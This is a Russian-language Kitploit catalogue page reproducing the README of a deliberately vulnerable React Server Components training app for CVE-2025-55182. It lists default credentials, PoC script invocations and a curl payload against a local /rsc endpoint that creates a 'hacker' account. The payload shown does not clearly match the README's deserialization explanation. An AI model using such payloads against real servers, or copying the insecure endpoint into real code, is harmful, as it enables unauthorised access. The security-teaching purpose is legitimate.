Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/mycompanyorganization/react2shell-kingdom
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubmycompanyorganization/react2shell-kingdom

React2Shell-Kingdom

"Однажды в стародавние времена Замок Реактландии доверял всем полетным сообщениям... пока не появился Самозванец." - Демонстрация сюжетной уязвимости CVE-2025-55182 (React2Shell) - уязвимое приложение на React Server Components в средневековом стиле для обучения безопасности.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
7 месяцев назадЕщё не проверено

Проект демонстрации уязвимости React CVE-2025-55182

⚠️ ПРЕДУПРЕЖДЕНИЕ О БЕЗОПАСНОСТИ

Этот проект демонстрирует критическую уязвимость удаленного выполнения кода (RCE) (CVE-2025-55182 / React2Shell) в React Server Components 19.1.1.

  • ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И ИССЛЕДОВАНИЙ БЕЗОПАСНОСТИ
  • НИКОГДА не развертывайте в продакшене и не подвергайте воздействию ненадежных сетей
  • Запускайте только в изолированных контролируемых средах
  • Убедитесь в наличии соответствующих разрешений перед тестированием

Обзор

Этот проект демонстрирует CVE-2025-55182 (React2Shell), критическую уязвимость удаленного выполнения кода (RCE) в React Server Components 19.1.1. Приложение включает:

  • Одностраничный сайт с аутентификацией по имени пользователя и паролю
  • Реализация React Server Components (RSC)
  • Конечная точка протокола RSC Flight (уязвимая)
  • Конфигурация развертывания Docker
  • POC эксплойт, демонстрирующий уязвимость

Структура проекта

root@kitploit:~
react-cve-demo/
├── package.json              # React 19.1.1 with react-server-dom-webpack
├── server.js                 # Custom React server with RSC support
├── src/
│   ├── App.jsx              # Main React component
│   ├── Login.jsx            # Login page component
│   ├── Dashboard.jsx        # Protected page component
│   └── server-components/   # Server Components
│       └── AuthServer.jsx   # Server-side auth logic
├── data/
│   └── users.json           # User credentials storage
├── Dockerfile               # Docker containerization
├── docker-compose.yml       # Docker Compose setup
├── .dockerignore
├── exploit/
│   ├── poc.js              # POC exploit script (Node.js)
│   └── poc.sh              # POC exploit script (bash/curl)
└── README.md               # This file

Предварительные требования

  • Node.js 18+
  • Docker и Docker Compose (опционально, для контейнерного развертывания)
  • npm или yarn

Установка

Локальная разработка

  1. Клонируйте или скачайте этот репозиторий
  2. Установите зависимости:
    root@kitploit:~
    npm install
    
  3. Запустите сервер:
    root@kitploit:~
    npm start
    
  4. Откройте приложение по адресу http://localhost:3000

Развертывание в Docker

  1. Соберите и запустите с Docker Compose:

    root@kitploit:~
    docker-compose up --build
    

    Или соберите и запустите вручную:

    root@kitploit:~
    docker build -t react-cve-demo .
    docker run -p 3000:3000 react-cve-demo
    
  2. Откройте приложение по адресу http://localhost:3000

Порядок использования

Обычный процесс аутентификации

  1. Доступ к приложению: Перейдите по адресу http://localhost:3000
  2. Страница входа: Вы увидите форму входа
  3. Учетные данные по умолчанию:
    • Имя пользователя: admin, Пароль: securepassword123
    • Имя пользователя: user1, Пароль: password123
  4. Успешный вход: Вы будете перенаправлены на защищенную панель управления
  5. Выход: Нажмите кнопку выхода, чтобы вернуться на страницу входа

Демонстрация уязвимости

Уязвимость существует в механизме десериализации протокола RSC Flight. Эксплойт:

  1. Создает вредоносную сериализованную нагрузку, нацеленную на конечные точки серверных функций
  2. Использует небезопасную десериализацию для выполнения произвольного JavaScript
  3. Создает новую запись пользователя в JSON-файле
  4. Обходит аутентификацию с помощью новых учетных данных

Запуск POC эксплойта

Вариант 1: Node.js скрипт

root@kitploit:~
node exploit/poc.js

Или с пользовательским целевым URL:

root@kitploit:~
TARGET_URL=http://localhost:3000 node exploit/poc.js

Вариант 2: Bash скрипт

root@kitploit:~
./exploit/poc.sh

Или с пользовательским целевым URL:

root@kitploit:~
TARGET_URL=http://localhost:3000 ./exploit/poc.sh

Вариант 3: Команда curl вручную

Однострочная версия:

root@kitploit:~
curl -X POST http://localhost:3000/rsc -H "Content-Type: application/json" -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'

Многострочная версия (для удобства чтения):

root@kitploit:~
curl -X POST http://localhost:3000/rsc \
  -H "Content-Type: application/json" \
  -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'

Примечание: Готовая к копированию однострочная команда также доступна в файле exploit/curl-oneline.txt

После эксплуатации

После запуска эксплойта:

  1. Эксплойт создает нового пользователя в data/users.json
  2. Теперь вы можете войти с помощью только что созданных учетных данных:
    • Имя пользователя: hacker
    • Пароль: hacked123
  3. Это демонстрирует, как уязвимость может обойти аутентификацию

Технические детали

Уязвимость (CVE-2025-55182)

Уязвимость существует в React Server Components 19.1.1, а именно в:

  • Компонент: react-server-dom-webpack
  • Версия: 19.1.1 (уязвимая)
  • Проблема: Небезопасная десериализация в протоколе RSC Flight
  • Влияние: Удаленное выполнение кода (RCE)
  • CVSS: Критический

Реализация сервера

Сервер (server.js) реализует:

  • HTTP-сервер Express.js
  • Конечная точка протокола RSC Flight (/rsc)
  • Выполнение серверных функций (уязвимая конечная точка)
  • Управление сессиями
  • Обслуживание статических файлов

Система аутентификации

  • Компонент входа: Форма на стороне клиента для ввода имени пользователя и пароля
  • Серверный компонент аутентификации: Логика аутентификации на стороне сервера
  • Хранилище пользователей: JSON-файл (data/users.json) с учетными данными
  • Защищенные маршруты: Панель управления требует аутентификации

Протокол RSC Flight

Конечная точка протокола RSC Flight принимает:

  • action: "callServerFunction": Выполнение серверных функций
  • action: "renderRSC": Рендеринг React Server Components

Уязвимость существует в том, как вызовы серверных функций десериализуются и выполняются.

Соображения безопасности

⚠️ Критические предупреждения

  1. Изолированная среда: Запускайте только в контролируемых изолированных средах
  2. Не для продакшена: Никогда не развертывайте уязвимый код в продакшене
  3. Сетевая изоляция: Не подвергайте воздействию ненадежных сетей
  4. Образовательная цель: Только для исследований безопасности и обучения
  5. Соблюдение законов: Убедитесь в наличии соответствующих разрешений перед тестированием

Лучшие практики

  • Используйте выделенную виртуальную машину или контейнер для тестирования
  • Отключите сетевой доступ, кроме localhost
  • Не храните конфиденциальные данные в тестовой среде
  • Очистите тестовые данные после демонстрации
  • Следуйте практике ответственного раскрытия информации

Зависимости

  • React: 19.1.1 (уязвимая версия)
  • react-server-dom-webpack: 19.1.1 (уязвимый пакет)
  • Express.js: ^4.18.2
  • express-session: ^1.17.3
  • Node.js: 18+

Устранение неполадок

Сервер не запускается

  • Проверьте, что порт 3000 не занят
  • Убедитесь, что версия Node.js 18 или выше
  • Убедитесь, что все зависимости установлены (npm install)

Эксплойт не работает

  • Проверьте, что сервер запущен
  • Проверьте, что конечная точка RSC доступна
  • Просмотрите журналы сервера на наличие ошибок
  • Убедитесь, что скрипт эксплойта имеет соответствующие разрешения

Проблемы с Docker

  • Убедитесь, что Docker запущен
  • Проверьте совместимость версий Docker Compose
  • Убедитесь, что порт 3000 свободен
  • Просмотрите журналы Docker: docker-compose logs

Ссылки

  • CVE-2025-55182: уязвимость React2Shell
  • Документация React Server Components
  • Спецификация протокола RSC Flight

Лицензия

Лицензия MIT - Только для образовательных целей

Отказ от ответственности

Данное программное обеспечение предоставляется только для образовательных целей и исследований в области безопасности. Авторы и участники не несут ответственности за любое неправомерное использование или ущерб, причиненный этим программным обеспечением. Используйте на свой страх и риск и соблюдайте все применимые законы и нормативные акты.

Скачать инструмент